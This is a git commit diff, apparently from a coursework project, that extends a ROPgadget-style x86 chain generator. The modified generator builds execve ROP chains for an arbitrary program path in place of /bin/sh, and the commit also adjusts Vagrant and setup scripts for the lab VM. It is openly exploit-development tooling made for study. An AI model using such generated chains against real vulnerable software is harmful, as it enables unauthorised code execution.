ARBITRARY PROGRAM BUT BAD (NO ARGS)
Co-authored-by: Liam Dalgarno <liamdalg99@gmail.com> Co-authored-by: jack bond-preston <jackbondpreston@outlook.com>
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Liam Dalgarno
parent
807362d1e2
commit
ca03d9d77d
@ -9,7 +9,8 @@
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import re
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from capstone import *
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from textwrap import wrap
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import sys
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class ROPMakerX86(object):
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@ -97,30 +98,34 @@ class ROPMakerX86(object):
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print("p = b'" + ('A' * self.paddingLen) + "'\n")
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print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
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print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
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command = "/bin/uname"
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if len(command) % 4 > 0:
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command = (4 - (len(command) % 4)) * "/" + command
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command_chunks = wrap(command, 4)
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address = 0
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offset = 0
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for i, chunk in enumerate(command_chunks):
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offset = (i * 4)
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address = dataAddr + offset
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popDst, {})
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print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
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print("p += b'/bin'")
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print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
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print(f"p += b'{ chunk }'")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
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self.__padding(write4where, {})
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print()
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print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
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print("p += pack('<I', 0x%08x) # @ .data + 4" %(dataAddr + 4))
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self.__padding(popDst, {})
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offset += 4
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address += 4
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print()
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print("p += pack('<I', 0x%08x) # %s" %(popSrc["vaddr"], popSrc["gadget"]))
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print("p += b'//sh'")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr + 4}) # Don't overwrite reg dst
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print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
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print("p += pack('<I', 0x%08x) # %s" %(popDst["vaddr"], popDst["gadget"]))
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print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popDst, {})
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print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
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@ -130,28 +135,59 @@ class ROPMakerX86(object):
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self.__padding(write4where, {})
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print("p += pack('<I', 0x%08x) # %s" %(popEbx["vaddr"], popEbx["gadget"]))
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print("p += pack('<I', 0x%08x) # @ .data" %(dataAddr))
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print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
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self.__padding(popEbx, {})
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# write end + 4, after the null bytes
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # {popDst['gadget']}")
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print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
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self.__padding(popDst, {})
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# write the data base address, which is the start of argv
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print(f"p += pack('<I', 0x{popSrc['vaddr']:08x}) # {popSrc['gadget']}")
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print(f"p += pack('<I', 0x{dataAddr:08x}) # @ .data")
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self.__padding(popSrc, {popDst["gadget"].split()[1]: dataAddr}) # Don't overwrite reg dst
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# perform the write: eax -> [edx]
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print(f"p += pack('<I', 0x{write4where['vaddr']:08x}) # {write4where['gadget']}")
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self.__padding(write4where, {})
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# ARGV MUST BE FOLLOWED BY NULL POINTER
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print(f"p += pack('<I', 0x{popDst['vaddr']:08x}) # { popDst['gadget'] }")
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print(f"p += pack('<I', 0x{address + 8:08x}) # @ .data + {offset + 8}")
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self.__padding(popDst, {})
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print("p += pack('<I', 0x%08x) # %s" %(xorSrc["vaddr"], xorSrc["gadget"]))
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self.__padding(xorSrc, {})
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print("p += pack('<I', 0x%08x) # %s" %(write4where["vaddr"], write4where["gadget"]))
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self.__padding(write4where, {})
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## MEMORY LAYOUT: PROGRAM, NULL, POINTER TO ARGV WHICH FOR NOW IS BACK TO THE START, NULL
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print("p += pack('<I', 0x%08x) # %s" %(popEcx["vaddr"], popEcx["gadget"]))
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print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
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print(f"p += pack('<I', 0x{(address + 4):08x}) # @ .data + {offset + 4}")
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self.__padding(popEcx, {"ebx": dataAddr}) # Don't overwrite ebx
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print("p += pack('<I', 0x%08x) # %s" %(popEdx["vaddr"], popEdx["gadget"]))
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print("p += pack('<I', 0x%08x) # @ .data + 8" %(dataAddr + 8))
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self.__padding(popEdx, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
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print(f"p += pack('<I', 0x{address:08x}) # @ .data + {offset}")
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self.__padding(popEdx, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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print("p += pack('<I', 0x%08x) # %s" %(xorEax["vaddr"], xorEax["gadget"]))
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self.__padding(xorEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
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self.__padding(xorEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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# 11 = execve
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for i in range(11):
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print("p += pack('<I', 0x%08x) # %s" %(incEax["vaddr"], incEax["gadget"]))
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self.__padding(incEax, {"ebx": dataAddr, "ecx": dataAddr + 8}) # Don't overwrite ebx and ecx
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self.__padding(incEax, {"ebx": dataAddr, "ecx": address}) # Don't overwrite ebx and ecx
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print("p += pack('<I', 0x%08x) # %s" %(syscall["vaddr"], syscall["gadget"]))
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print()
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print(r"""
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print("""
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with open(out_file, "wb") as f:
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f.write(p)
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""")
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7
Vagrantfile
vendored
7
Vagrantfile
vendored
@ -1,5 +1,8 @@
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Vagrant.configure("2") do |config|
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config.vm.box = "generic/ubuntu1804"
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config.vm.provision "shell", path: "init.sh"
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config.vm.synced_folder "./", "/home/vagrant/cw"
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config.vm.provision "shell", path: "init.sh", privileged: false
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config.vm.synced_folder "./", "/home/vagrant/cw", type: "nfs", nfs_version: 4, "nfs_udp": false, mount_options: ["rw", "vers=4", "tcp", "nolock"]
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config.vm.provider :libvirt do |libvirt|
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libvirt.cpus = 4
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end
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end
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19
init.sh
19
init.sh
@ -7,9 +7,24 @@ sudo apt-get --quiet --assume-yes install build-essential
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sudo apt-get --quiet --assume-yes install gdb
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sudo apt-get --quiet --assume-yes install gcc-multilib
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sudo apt-get --quiet --assume-yes install zsh
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sudo apt-get --quiet --assume-yes install libncurses5 libncurses5-dev libncursesw5
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sudo apt-get --assume-yes --quiet install python3 python3-pip python3-dev git libssl-dev libffi-dev
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sudo apt-get --assume-yes --quiet install python
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sudo apt-get --assume-yes --quiet install git libssl-dev libffi-dev zlib1g-dev libbz2-dev libreadline-dev libsqlite3-dev
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## pyenv
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cd /home/vagrant/ && curl https://pyenv.run | bash
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echo 'export PATH="/home/vagrant/.pyenv/bin:$PATH"' >> /home/vagrant/.bashrc
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echo 'eval "$(pyenv init -)"' >> /home/vagrant/.bashrc
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echo 'eval "$(pyenv virtualenv-init -)"' >> /home/vagrant/.bashrc
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export PATH="/home/vagrant/.pyenv/bin:$PATH"
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eval "$(pyenv init -)"
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eval "$(pyenv virtualenv-init -)"
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pyenv install 3.9.0
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pyenv global 3.9.0
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python3 -m pip install --upgrade setuptools
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python3 -m pip install --upgrade pip
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python3 -m pip install --upgrade pwntools
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python3 -m pip uninstall --yes ROPgadget
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@ -1,4 +1,4 @@
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#!/bin/bash
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cd ROPgadget && sudo python3 setup.py install
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cd ROPgadget && python3 setup.py install
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